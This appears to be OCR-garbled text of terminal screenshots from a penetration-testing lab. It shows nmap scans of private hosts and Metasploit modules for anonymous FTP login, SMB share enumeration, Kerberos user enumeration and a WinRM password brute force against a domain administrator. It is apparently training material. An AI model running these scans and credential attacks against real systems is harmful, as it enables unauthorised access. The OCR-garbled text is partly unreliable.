Completed NSE at 14:17, 0.00s elapsed

Initiating NSE at 14:17

Completed NSE at 14:17, 0.00s elapsed

Initiating ARP Ping Scan at 14:17

Scanning 192.168.1.1 [1 port]

Completed ARP Ping Scan at 14:17, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:17

Completed Parallel DNS resolution of 1 host. at 14:17, 0.02s elapsed
Initiating SYN Stealth Scan at 14:17
Scanning 192.168.1.1 [65535 ports]
Discovered open port 21/tcp on 192.168.1.1
Discovered open port 86/tcp on 192.168.1.1
Discovered open port 53/tcp on 192.168.1.1
Discovered open port 135/tcp on 192.168.1.
Discovered open port 139/tcp on 192.168.1.
Discovered open port 443/tcp on 192.168.1.
Discovered open port 445/tcp on 192.168.1.
Discovered open port 49666/tcp on 192.168.
Discovered open port 9/tcp on 192.168.1.1
Discovered open port 515/tcp on 192.168.1.1
Discovered open port 389/tcp on 192.168.1.1
Discovered open port 3388/tcp on 192.168.1.1
Discovered open port 47001/tcp on 192.168.1.1
Discovered open port 7/tcp on 192.168.1.1
Discovered open port 53500/tcp on 192.168.1.1
Discovered open port 56195/tcp on 192.168.1.1
Discovered open port 464/tcp on 192.168.1.1
Discovered open port 19/tcp on 192.168.1.1
Discovered open port 13/tcp on 192.168.1.1
Discovered open port 49664/tcp on 192.168.1.
Discovered open port 56163/tcp on 192.168.1.
Discovered open port 56216/tcp on 192.168.1.
Discovered open port 56209/tcp on 192.168.1.
Discovered open port 3269/tcp on 192.168.1.1
Discovered open port 56167/tcp on 192.168.1.1
Discovered open port 56159/tcp on 192.168.1.1
Discovered open port 49667/tcp on 192.168.1.1
Discovered open port 49665/tcp on 192.168.1.1
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Terminal

Terminal

Read data files from: /usr/bin/../share/nmap
[*] Nmap: 05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 238.39 seconds
[*] Nmap: Raw packets sent: 66070 (2.911MB) | Rcvd: 65582 (2.625MB
msf5 > db_nmap -p 1-65535 -T4 -A -v 192.168.1.10
[*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2025-11-25 14:22 EST

*] NSE: Loaded 151 scripts for scanning
*] NSE: Script Pre-scanning
*1 Initiating NSE at 14:22

- [*1 Completed NSE at 14:22, 0.00s elapsed
[+ Initiating NSE at 14:22
*] Completed NSE at 14:22, 0.00s elapsed

. *1 Initiating NSE at 14:22
*] Completed NSE at 14:22, 0.00s elapsed
*] Initiating ARP Ping Scan at 14:22
*1 Scanning 192.168.1.10 [1 port

= [x] Completed ARP Ping Scan at 14:22, 0.06s elapsed (1 total hosts)

. [*] Initiating Parallel DNS resolution of 1 host. at 14:22
[+ Completed Parallel DNS resolution of 1 host. at 14:22, .01s elapsed
*] Initiating SYN Stealth Scan at 14:22

M Scanning 192.168.1.10 [65535 ports]
I+ Discovered open port 139/tcp on 192.168.1.10
*] Discovered open port 135/tcp on 192.168.1.10

[] *] Discovered open port 445/tcp on 192.168.1.10
*] Discovered open port 60174/tcp on 192.168.1.10

o 1 Discovered open port 60177/tcp on 192.168.1.10
*] Discovered open port 60175/tcp on 192.168.1.10
*] Discovered open port 5040/tcp on 192.168.1.10

. *] Discovered open port 5357/tcp on 192.168.1.10
*] Discovered open port 49665/tcp on 192.168.1.10
*] Discovered open port 49666/tcp on 192.168.1.10
*] Discovered open port 49667/tcp on 192.168.1.10
*] Discovered open port 60176/tcp on 192.168.1.10
*] Discovered open port 49664/tcp on 192.168.1.10
*] Completed SYN Stealth Scan at 14:23, 27.30s elapsed (65535 total ports)
*] Initiating Service scan at 14:23
*] Scanning 13 services on 192.168.1.10
*] Service scan Timing: About 38.46% done; ETC: 14:25 (9:01:26 remaining
*] Completed Service scan at 14:25, 156.30s elapsed (13 services on 1 host
*] Initiating 05 detection (try #1) against 192.168.1.10
*] Retrying 05 detection (try #2) against 192.168.1.10
*] Retrying 05 detection (try #3) against 192.168.1.10
*] Retrying 05 detection (try #4) against 192.168.1.10
*] Retrying 0S detection (try #5) against 192.168.1.10
*] NSE: Script scanning 192.168.1.10

[+ Initiating NSE at 1.

6
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Terminal

Terminal

_nmap -p 1-65535 -T4 -A -v 192.168.2.1
Starting Nmap 7.80 ( https://nmap.org
NSE: Loaded 151 scripts for scanning
NSE: Script Pre-scanning

Initiating NSE at 14:28

Completed NSE at 14:28, 0.00s elapsed
Initiating NSE at 1.
Completed NSE at 14:28, 0.00s elapsed

Initiating NSE at 14:28

Completed NSE at 14:28, 0.00s elapsed

Initiating Ping Scan at 14:28

Scanning 192.168.2.1 [4 ports]

Completed Ping Scan at 14:28, 0.04s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at 14:28

Completed Parallel DNS resolution of 1 host. at 14:28, 0.00s elapsed
Initiating SYN Stealth Scan at 14:28

Scanning 192.168.2.1 [65535 ports]

Discovered open port 22/tcp on 192.168.2.1

SYN Stealth Scan Timing: About 22.41% done; ETC: 14:31 (0:01:47 remaining
SYN Stealth Scan Timing: About 56.90% done; ETC: 14:30 (0:00:46 remaining
Completed SYN Stealth Scan at 14:30, 93.00s elapsed (65535 total ports)
Initiating Service scan at 14:30

Scanning 1 service on 192.168.2.1

Completed Service scan at 14:30, 0.15s elapsed (1 service on 1 host)
Initiating 05 detection (try #1) against 192.168.2.1

Retrying 0S detection (try #2) against 192.168.2.1

Initiating Traceroute at 14:30

Completed Traceroute at 14:30, 0.02s elapsed

Initiating Parallel DNS resolution of 2 hosts. at 14:30

Completed Parallel DNS resolution of 2 hosts. at 14:30, 0.01s elapsed

NSE: Script scanning 192.168.2.1.

Initiating NSE at 14:30

Completed NSE at 14:30, 0.69s elapsed

Initiating NSE at 1.
Completed NSE at 14:30, 0.00s elapsed

Initiating NSE at 14:30

Completed NSE at 14:30, 0.60s elapsed

Nmap scan report for 192.168.2.1

Host is up (0.0039s latency).

Not shown: 65534 filtered ports

PORT  STATE SERVICE VERSION

22/tcp open ssh OpenssH 10.0p2 Debian 7 (protocol 2.0)

: Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed port

[*] Nmap: Aggressive 0S guesses: Linux 3.2 - 4.9 (94%), Synology DiskStation Manager 5.2-5644 (94%), Linux 2.6.32 - 3.10 (93%), Linux 2.6.32 - 3.13 (93%), Linux 2.6.32 (92%), Linux 3.10 - 4.11 (92%), Linux
3.4 - 3.10 (92%), Linux 3.10 (92%), Linux 2.6.22 - 2.6.36 (91%), Linux 2.6.39 (91%

[*] Nmap: No exact 0S matches for host (test conditions non-ideal).

) at 2025-11-25 1.
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 nmap -p 1-65535 -T4 -A -v 192.168.2.10

irtualBox - o X

View  nput  Devices  Help

Tue 14:56 L AN %

Terminal

Terminal

Starting Nmap 7.80 ( https://nmap.org ) at 2025-11-25 1.
NSE: Loaded 151 scripts for scanning

NSE: Script Pre-scanning

Initiating NSE at 14:30

Completed NSE at 14:30, 0.00s elapsed

Initiating NSE at 1.
Completed NSE at 14:30, 0.00s elapsed

Initiating NSE at 14:30

Completed NSE at 14:30, 0.00s elapsed

Initiating Ping Scan at 14:30

Scanning 192.168.2.10 [4 ports]

Completed Ping Scan at 14:30, 0.04s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at 14:30

Completed Parallel DNS resolution of 1 host. at 14:30, 0.01s elapsed
Initiating SYN Stealth Scan at 14:30

Scanning 192.168.2.10 [65535 ports]

SYN Stealth Scan Timing: About 1.97% done; ETC: 14:57 (0:25:42 remaining
SYN Stealth Scan Timing: About 4.21% done; ETC: 14:55 ( 6 remaining
SYN Stealth Scan Timing: About 6.70% done; ET( :54 (0:21:49 remaining
SYN Stealth Scan Timing: About 16.31% done; 14:53 (0:20:35 remaining
SYN Stealth Scan Timing: About 18.74% done; 14:54 (0:19:22 remaining
SYN Stealth Scan Timing: About 23.97% done; 14:54 (0:18:08 remaining
SYN Stealth Scan Timing: About 28.43% done; 14:54 (0:16:54 remaining
SYN Stealth Scan Timing: About 32.95% done; 14:54 (0:15:42 remaining
SYN Stealth Scan Timing: About 37.83% done; 14:54 (0:14:29 remaining
SYN Stealth Scan Timing: About 42.86% done; 14:54 (0:13:17 remaining
SYN Stealth Scan Timing: About 47.86% done; 14:54 (0:12:07 remaining
SYN Stealth Scan Timing: About 52.80% done; 14:54 (0:10:55 remaining
SYN Stealth Scan Timing: About 57.71% done; 14:54 (0:09:46 remaining
SYN Stealth Scan Timing: About 62.69% done; 14:53 (0:08:35 remaining
SYN Stealth Scan Timing: About 67.86% done; 14:53 (0:07:24 remaining
SYN Stealth Scan Timing: About 72.89% done; 14:53 (0:06:14 remaining
SYN Stealth Scan Timing: About 78.02% done; 14:53 (0:05:03 remaining
SYN Stealth Scan Timing: About 83.13% done; 14:53 (0:03:53 remaining)
SYN Stealth Scan Timing: About 88.10% done; ETC: 14:53 (0:02:44 remaining
SYN Stealth Scan Timing: About 93.11% done; ETC: 14:53 (0:01:35 remaining
Completed SYN Stealth Scan at 14:54, 1388.58s elapsed (65535 total ports)
Initiating Service scan at 14:54

Initiating 05 detection (try #1) against 192.168.2.10

Retrying 0S detection (try #2) against 192.168.2.10

Initiating Traceroute at 14:54

Completed Traceroute at 14:54, 3.03s elapsed

Initiating Parallel DNS resolution of 2 hosts. at 14:54

Completed Parallel DNS resolution of 2 hosts. at 14:54, 0.62s elapsed
NSE: Script scanning 192.168.2.10.
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snsfs > search ftp_login

Matching Modules

# Name Disclosure Date Rank  Check Description

o auxiliary/scanner/ftp/ftp_login normal Yes  FTP Authentication Scanner

nsfs > use auxiliary/scanner/ftp/ftp_login
auxiliary(scanner/ftp/ftp_login) > show options

A
=8
v

Module options (auxiliary/scanner/ftp/ftp login)

L Name Current Setting Required Description

& BLANK PASSWORDS  false no Try blank passwords for all users

~ | BRUTEFORCE SPEED 5 yes How fast to bruteforce, from 0 to 5

@ orucnes false no Try each user/password couple stored in the current database
DB ALL PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list

M easswor no A specific password to authenticate with
PASS FILE no File containing passwords, one per line
Proxies no A proxy chain of format type:host:portl,type:host:port][...]
RECORD_GUEST false no Record anonymous/guest logins to the database
RHOSTS yes The target address range or CIDR identifier

© FRPORT 21 yes The target port (TCP)
STOP_ON_SUCCESS  false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads

. USERNAME no A specific username to authenticate as
USERPASS. FILE no File containing users and passwords separated by space, one pair per line
USER AS_PASS false no Try the username as the password for all users
USER FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts

nsf5 auxiliary(scanner/ftp/ftp_login) > set RHOSTS 192.168.1.1
/ RHOSTS => 192.168.1.1
nsf5 auxiliary(scanner/ftp/ftp_ login) > set RPORT 21
/ RPORT => 21
nsf5 auxiliary(scanner/ftp/ftp_ login) > set USERNAME anonymous
USERNAME anonymous
nsf5 auxiliary(scanner/ftp/ftp_login) > set PASSWORD anonymous
PASSWORD => anonymous
nsf5 auxiliary(scanner/ftp/ftp.login) o>
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RPORT => 21

nsf5 auxiliary(scanner/ftp/ftp_login) > set USERNAME anonymous
USERNAME => anonymous

nsf5 auxiliary(scanner/ftp/ftp login) > set PASSWORD anonymous
PASSWORD => anonymous

nsf5 auxiliary(scanner/ftp/ftp login) > run

[*] 192.168.1.1:21 - 192.168.1.1:21 - Starting FTP login sweep

[+] 192.168.1.1:21 - 192.168.1.1:21 - Login Successful: anonymous:anonymous
[*] 192.168.1.1:21 - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf5 auxiliary(scanner/ftp/ftp_login) > [
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nsfs > search smb_enumshares

Matching Modules

#  Name

normal Yes

msfs > use auxiliary/scanner/smb/smb_enumshares
nsfs auxiliary(scanner/smb/sub_enunshares) > show options

Module options (auxiliary/scanner/smb/smb_enumshares)

Name Current Setting Required Description

Logspider 3 no 0 = disabled, 1= CsV, 2 = table (txt), 3

= MaxDepth 999 yes Max number of subdirectories to spider
RHOSTS, yes The target address range or CIDR identifier
SMBDOmain t no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
ShowFiles false yes Show detailed information when spidering
spiderprofiles true no spider only user profiles when share = C$
spidershares  false no spider shares recursively
THREADS X yes The number of concurrent threads

D 1st5 auxiliary(scanner/snb/snb cnunshares) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
. msf5 auxiliary(scanner/smb/snb_enunshares) > run

[-] 192.168:1=
[+] 192.168.1. - ADMIN$ - (DISK) Remote Admin

[+] 192.168.1. - C$ - (DISK) Default share

[+] 192.168.1.1:445 - IPC$ - (IPC) Remote IPC

[+] 192.168.1. - NETLOGON - (DISK) Logon server share

)% [+] 192.168.1. - SYSVOL - (DISK) Logon server share
/ [+] 192.168.1.1:445 - Vshare - (DISK)

[*] 192.168.1. - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed
msf5/auxiliary(scannersmb/smb enumshares) |

SMB Share Enumeration

- Login Failed: Unable to Negotiate with remote host

Disclosure Date Rank  Check Description

o auxiliary/scanner/smb/smb_enumshares

Sun07:00

Terminal

one liner (txt) (Accepted: 0, 1, 2, 3)
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msf5 > search http/trace
Matching Modules
# Name Disclosure Date Rank  Check Description
0 auxiliary/scanner/http/trace normal Yes  HTTP Cross-Site Tracing Detection
1 auxiliary/scanner/http/trace axd normal Yes  HTTP trace.axd Content Scanner

nsf5 > use auxiliary/scanner/http/trace
nsfs auxiliary(scanner/http/trace) > show options

. Module options (auxiliary/scanner/http/trace):

; Name Current Setting Required Description
= Proxies no A proxy chain of format type:host:port[,type:host:port][
RHOSTS ~192.168.1.1 yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP
SsL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host

nsfs auxiliary(scanner/http/trace) > set RHOSTS 192.168.1.1
RHOSTS => 192.168.1.1
@ "ST5 auxiliary(scanner/hitp/trace) > run

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
nsf5 auxiliary(scanner/http/trace) > |
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User: "a.m.i" does not exist

Testing User: "abcd".
KDC_ERR_C_PRINCIPAL_UNKNOWN - Client
User: "abcd” does not exist

Testing User: "access
KDC_ERR_C_PRINCIPAL_UNKNOWN - Client
User: "access” does not exist
Testing User: "accord:
KDC_ERR_C_PRINCIPAL_UNKNOWN - Client
User: "accord” does not exist
Testing User: "adldemo”..
KDC_ERR_C_PRINCIPAL_UNKNOWN - Client
User: "adldemo” does not exist
Testing User: "admin”..
KDC_ERR_C_PRINCIPAL_UNKNOWN - Client
User: "admin” does not exist

Testing User: "welcome
KDC_ERR_C_PRINCIPAL_UNKNOWN - Client
User: "welcome" does not exist
Testing User: “administrator”..

KDC_ERR PREAUTH REQUIRED - Additional pre

Testing User: "adsuser"..
KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not
User: "adsuser” does not exist
Testing User: "chdngeme”..
KDC_ERR_C_PRINCIPAL_UNKNOWN - Client
User: "chdngeme" does not exist
Testing User: "ads_agent
KDC_ERR_C_PRINCIPAL UNKNOWN - Client
User: "ads_agent" does not exist
Testing User: "adtran:
KDC_ERR_C_PRINCIPAL_UNKNOWN - Client
User: "adtran® does not exist
Testing User: "airoplane”...
KDC_ERR_C_PRINCIPAL_UNKNOWN - Client
User: "airoplane” does not exist
Testing User: "allinl!
KDC_ERR_C_PRINCIPAL UNKNOWN - Client
User: "allinl® does not exist
Testing User: "allinlmail®..
KDC_ERR_C_PRINCIPAL_UNKNOWN - Client
User: "allinlmail® does not exist
Testing User: "allinone”..
KDC_ERR_C_PRINCIPAL_UNKNOWN - Client
User: "allinone" does not exist
Testing User: "am
KDC_ERR_C_PRINCIPAL_UNKNOWN - Client
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root@osboxes:

root@oshoxes:~# nano kerberos_enum_users.txt

root@oshoxes:~# cat kerberos_enum users.txt | grep "is present”
[+] 192.168.1.1:88 - User: "administrator" is present

[+] 192.168.1.1:88 - User: "guest” is present

[+] 192.168.1.1:88 - User: "userl” is present

root@oshoxes:~#

V=D ©ON
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Applications ~  Places v Terminal v Sun08:24 | BT B4

root@osboxes

root@osboxes :
[+] 192.168.1.
[+] 192.168.1.
[+] 192.168.1.
root@osboxes

root@osboxes :

arch  Termina
root@osboxes: ~

nano kerberos_enum_users.txt

cat kerberos_enum_users.txt | grep "is present"
88 - User: "administrator” is present

88 - User: "guest" is present

88 - User: "userl" is present

gunzip /usr/share/wordlists/rockyou.txt.gz

B Ok &M E LSS 6 8 right i




image32.png
& Kali Linux [Running] - Oracle VirtualBox - g X

3

Applications > Places ~

*oEz=0  ON

Machine ~ View  Input  Devices  Help

‘erminal ~ Sun08:29 | BT B4

root@osboxes: ~

Terminal root@osboxes:

root@oshoxes:~# nano users.txt
root@oshoxes:~# nano users.txt
root@oshoxes :~#
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Terminal

Applications > Places ~

Terminal

nsf5 auxiliary(scanner/winrm/winrm_login) > set USER FILE /root/users.txt
USER_FILE => /root/users.txt

msfs auxiliary(scanner/winrm/winrm_login) > spool winrm exec.txt

[*] Spooling to file winrm exec.txt...

nsfs auxiliary(scanner/winrm/winrm_login) > exploit

-1 192.168. - LOGIN FAILED: SWANSEA\administrator:123456 (Incorrect: )

-1 192.168. - LOGIN FAILED: SWANSEA\administrator:12345 (Incorrect: )

-1 192.168. - LOGIN FAILED: SWANSEA\administrator:123456789 (Incorrect: )
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:password (Incorrect: )
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:iloveyou (Incorrect: )
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:princess (Incorrect: )
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:1234567 (Incorrect: )
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:rockyou (Incorrect: )

-1 192.168. - LOGIN FAILED: SWANSEA\administrator:12345678 (Incorrect: )
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:abcl23 (Incorrect: )
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:nicole (Incorrect: )
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:daniel (Incorrect: )
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:babygirl (Incorrect: )

-1 192.168. - LOGIN FAILED: SWANSEA\administrator:monkey (Incorrect
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:lovely (Incorrect
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:jessica (Incorrec
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:654321 (Incorrect:
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:michael (Incorrec
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:ashley (Incorrect
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:qwerty (Incorrect:
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:111111 (Incorrect:

-1 192.168. - LOGIN FAILED: SWANSEA\administrator:iloveu (Incorrect

-1 192.168. - LOGIN FAILED: SWANSEA\administrator:000000 (Incorrect

-1 192.168. - LOGIN FAILED: SWANSEA\administrator:michelle (Incorrect: )
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:tigger (Incorrect: )
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:sunshine (Incorrect: )

-1 192.168. - LOGIN FAILED: SWANSEA\administrator:chocolate (Incorrect: )
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:passwordl (Incorrect: )
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:soccer (Incorrect: )

-1 192.168. - LOGIN FAILED: SWANSEA\administrator:anthony (Incorrect: )
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:friends (Incorrect: )
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:butterfly (Incorrect: )
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:purple (Incorrect: )

-1 192.168. - LOGIN FAILED: SWANSEA\administrator:angel (Incorrect: )

-1 192.168. - LOGIN FAILED: SWANSEA\administrator:jordan (Incorrect: )

-1 192.168. - LOGIN FAILED: SWANSEA\administrator:liverpool (Incorrect: )
-1 192.168. - LOGIN FAILED: SWANSEA\administrator:justin (Incorrect: )

-1 192.168. - LOGIN FAILED: SWANSEA\administrator:loveme (Incorrect: )

-1 192.168. - LOGIN FAILED: SWANSEA\administrator:fuckyou (Incorrect: )

192.168. - LOGIN FAILED:

SWANSEA\administrator:123123 (Incorrect:
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